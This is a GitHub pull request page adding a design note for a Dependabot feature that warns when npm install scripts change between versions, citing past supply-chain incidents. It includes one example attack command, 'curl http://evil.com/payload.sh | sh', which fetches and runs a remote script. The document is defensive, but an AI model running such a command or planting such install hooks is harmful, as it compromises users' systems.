-
Notifications
You must be signed in to change notification settings - Fork 1.3k
npm: Warn when install scripts change between versions #14069
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
JamieMagee
wants to merge
1
commit into
main
Choose a base branch
from
jamiemagee/npm-install-script-changes
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,72 @@ | ||
| # npm install script warnings in Dependabot | ||
|
|
||
| ## The problem | ||
|
|
||
| When you run `npm install`, npm executes lifecycle scripts from your dependencies automatically. The scripts `preinstall`, `install`, `postinstall`, and `prepare` all run with your user's permissions before you've had a chance to review the code. | ||
|
|
||
| The attack pattern is simple: | ||
|
|
||
| 1. Attacker compromises a maintainer's npm account | ||
| 2. Attacker publishes a new version with a malicious `postinstall` script | ||
| 3. Users update the package, triggering the script | ||
| 4. The script runs `curl http://evil.com/payload.sh | sh` or similar | ||
|
|
||
| This has happened repeatedly: | ||
|
|
||
| - **event-stream (2018)**: A maintainer handed off the package to someone who added a `postinstall` that stole Bitcoin wallet keys. 8 million weekly downloads. | ||
| - **ua-parser-js (2021)**: Compromised account published versions with crypto miners in `preinstall`. 7 million weekly downloads. | ||
| - **node-ipc (2022)**: Maintainer deliberately added a `postinstall` that wiped files on Russian/Belarusian IPs. 1 million weekly downloads. | ||
| - **@ledgerhq/connect-kit (2023)**: Compromised npm account published a version with wallet-draining code in install scripts. | ||
|
|
||
| Same pattern each time: new version appears, users update, malicious code runs before anyone notices. | ||
|
|
||
| ## Why warn about this | ||
|
|
||
| Dependabot already warns when a package has a new maintainer. That catches some attacks, but not all. A package can be compromised without a maintainer change (stolen token, social engineering). And maintainer changes aren't always malicious—legitimate handoffs happen all the time. | ||
|
|
||
| Install script changes are different. A new `postinstall` script showing up in a previously script-free package? That's worth a second look regardless of who published it. | ||
|
|
||
| ## What we built | ||
|
|
||
| When Dependabot creates a PR for an npm package update, it checks whether any install scripts were added or modified since the previous version. If so, the PR description includes a warning: | ||
|
|
||
| > **Install script changes** | ||
| > | ||
| > This version adds `postinstall` script that runs during installation. Review the package contents before updating. | ||
|
|
||
| The warning covers all scripts that run during `npm install`: | ||
|
|
||
| - `preinstall` | ||
| - `install` | ||
| - `postinstall` | ||
| - `prepublish` (deprecated but still runs) | ||
| - `preprepare` | ||
| - `prepare` | ||
| - `postprepare` | ||
|
|
||
| Scripts like `test`, `build`, or `start` are ignored since they don't run during installation. | ||
|
|
||
| ## Limitations | ||
|
|
||
| This is visibility, not protection. If you're not reading PR descriptions, you won't see it. It also can't detect obfuscated payloads or scripts that download code at runtime. | ||
|
|
||
| Other things you should still do: | ||
|
|
||
| - Run `npm install --ignore-scripts` in CI when possible | ||
| - Use lockfiles and review lockfile changes | ||
| - Consider tools like Socket that analyze package behavior | ||
| - Limit which dependencies can run install scripts (npm 9+ supports this) | ||
|
|
||
| But for teams that review their Dependabot PRs, this gives them one more signal when something needs extra scrutiny. | ||
|
|
||
| ## Implementation | ||
|
|
||
| The change adds an `install_script_changes` method to `MetadataFinders::Base` (returns `nil` by default) and implements it for npm_and_yarn. The method compares the `scripts` object in the npm registry metadata between versions. | ||
|
|
||
| The warning appears in `MetadataPresenter` alongside the existing maintainer changes section. | ||
|
|
||
| Files changed: | ||
|
|
||
| - `common/lib/dependabot/metadata_finders/base.rb` | ||
| - `npm_and_yarn/lib/dependabot/npm_and_yarn/metadata_finder.rb` | ||
| - `common/lib/dependabot/pull_request_creator/message_builder/metadata_presenter.rb` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.